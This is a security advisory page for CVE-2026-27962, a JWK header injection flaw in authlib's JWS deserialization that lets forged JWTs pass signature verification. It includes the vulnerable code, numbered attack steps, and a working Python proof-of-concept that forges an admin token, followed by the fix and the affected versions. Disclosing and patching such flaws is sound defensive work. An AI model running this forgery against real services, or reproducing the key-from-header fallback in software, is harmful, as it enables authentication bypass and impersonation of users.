GHSA-wvwj-cvrp-7pv5

Suggest an improvement
Source
https://github.com/advisories/GHSA-wvwj-cvrp-7pv5
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-wvwj-cvrp-7pv5/GHSA-wvwj-cvrp-7pv5.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-wvwj-cvrp-7pv5
Aliases
  • CVE-2026-27962
Downstream
Published
2026-03-16T15:17:15Z
Modified
2026-03-16T22:01:25.041268Z
Severity
  • 9.1 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N CVSS Calculator
Summary
Authlib JWS JWK Header Injection: Signature Verification Bypass
Details

Description

Summary

A JWK Header Injection vulnerability in authlib's JWS implementation allows an unauthenticated attacker to forge arbitrary JWT tokens that pass signature verification. When key=None is passed to any JWS deserialization function, the library extracts and uses the cryptographic key embedded in the attacker-controlled JWT jwk header field. An attacker can sign a token with their own private key, embed the matching public key in the header, and have the server accept the forged token as cryptographically valid — bypassing authentication and authorization entirely.

This behavior violates RFC 7515 §4.1.3 and the validation algorithm defined in RFC 7515 §5.2.

Details

Vulnerable file: authlib/jose/rfc7515/jws.py
Vulnerable method: JsonWebSignature._prepare_algorithm_key()
Lines: 272–273

elif key is None and "jwk" in header:
    key = header["jwk"]   # ← attacker-controlled key used for verification

When key=None is passed to jws.deserialize_compact(), jws.deserialize_json(), or jws.deserialize(), the library checks the JWT header for a jwk field. If present, it extracts that value — which is fully attacker-controlled — and uses it as the verification key.

RFC 7515 violations:

  • §4.1.3 explicitly states the jwk header parameter is "NOT RECOMMENDED" because keys embedded by the token submitter cannot be trusted as a verification anchor.
  • §5.2 (Validation Algorithm) specifies the verification key MUST come from the application context, not from the token itself. There is no step in the RFC that permits falling back to the jwk header when no application key is provided.

Why this is a library issue, not just a developer mistake:

The most common real-world trigger is a key resolver callable used for JWKS-based key lookup. A developer writes:

def lookup_key(header, payload):
    kid = header.get("kid")
    return jwks_cache.get(kid)   # returns None when kid is unknown/rotated

jws.deserialize_compact(token, lookup_key)

When an attacker submits a token with an unknown kid, the callable legitimately returns None. The library then silently falls through to key = header["jwk"], trusting the attacker's embedded key. The developer never wrote key=None — the library's fallback logic introduced it. The result looks like a verified token with no exception raised, making the substitution invisible.

Attack steps:

  1. Attacker generates an RSA or EC keypair.
  2. Attacker crafts a JWT payload with any desired claims (e.g. {"role": "admin"}).
  3. Attacker signs the JWT with their private key.
  4. Attacker embeds their public key in the JWT jwk header field.
  5. Attacker uses an unknown kid to cause the key resolver to return None.
  6. The library uses header["jwk"] for verification — signature passes.
  7. Forged claims are returned as authentic.

PoC

Tested against authlib 1.6.6 (HEAD a9e4cfee, Python 3.11).

Requirements:

pip install authlib cryptography

Exploit script:

from authlib.jose import JsonWebSignature, RSAKey
import json

jws = JsonWebSignature(["RS256"])

# Step 1: Attacker generates their own RSA keypair
attacker_private = RSAKey.generate_key(2048, is_private=True)
attacker_public_jwk = attacker_private.as_dict(is_private=False)

# Step 2: Forge a JWT with elevated privileges, embed public key in header
header = {"alg": "RS256", "jwk": attacker_public_jwk}
forged_payload = json.dumps({"sub": "attacker", "role": "admin"}).encode()
forged_token = jws.serialize_compact(header, forged_payload, attacker_private)

# Step 3: Server decodes with key=None — token is accepted
result = jws.deserialize_compact(forged_token, None)
claims = json.loads(result["payload"])
print(claims)  # {'sub': 'attacker', 'role': 'admin'}
assert claims["role"] == "admin"  # PASSES

Expected output:

{'sub': 'attacker', 'role': 'admin'}

Docker (self-contained reproduction):

sudo docker run --rm authlib-cve-poc:latest \
  python3 /workspace/pocs/poc_auth001_jws_jwk_injection.py

Impact

This is an authentication and authorization bypass vulnerability. Any application using authlib's JWS deserialization is affected when:

  • key=None is passed directly, or
  • a key resolver callable returns None for unknown/rotated kid values (the common JWKS lookup pattern)

An unauthenticated attacker can impersonate any user or assume any privilege encoded in JWT claims (admin roles, scopes, user IDs) without possessing any legitimate credentials or server-side keys. The forged token is indistinguishable from a legitimate one — no exception is raised.

This is a violation of RFC 7515 §4.1.3 and §5.2. The spec is unambiguous: the jwk header parameter is "NOT RECOMMENDED" as a key source, and the validation key MUST come from the application context, not the token itself.

Minimal fix — remove the fallback from authlib/jose/rfc7515/jws.py:272-273:

# DELETE:
elif key is None and "jwk" in header:
    key = header["jwk"]

Recommended safe replacement — raise explicitly when no key is resolved:

if key is None:
    raise MissingKeyError("No key provided and no valid key resolvable from context.")
Database specific
{
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-16T15:17:15Z",
    "cwe_ids": [
        "CWE-347"
    ],
    "nvd_published_at": "2026-03-16T18:16:07Z",
    "severity": "CRITICAL"
}
References

Affected packages

PyPI / authlib

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
1.6.9

Affected versions

0.*
0.1rc0
0.1
0.2
0.2.1
0.3
0.4
0.4.1
0.5
0.5.1
0.6
0.7
0.8
0.9
0.10
0.11
0.12
0.12.1
0.13
0.14
0.14.1
0.14.2
0.14.3
0.15
0.15.1
0.15.2
0.15.3
0.15.4
0.15.5
0.15.6
1.*
1.0.0a1
1.0.0a2
1.0.0b1
1.0.0b2
1.0.0rc1
1.0.0
1.0.1
1.1.0
1.2.0
1.2.1
1.3.0
1.3.1
1.3.2
1.4.0
1.4.1
1.5.0
1.5.1
1.5.2
1.6.0
1.6.1
1.6.2
1.6.3
1.6.4
1.6.5
1.6.6
1.6.7
1.6.8

Database specific

last_known_affected_version_range
"<= 1.6.8"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-wvwj-cvrp-7pv5/GHSA-wvwj-cvrp-7pv5.json"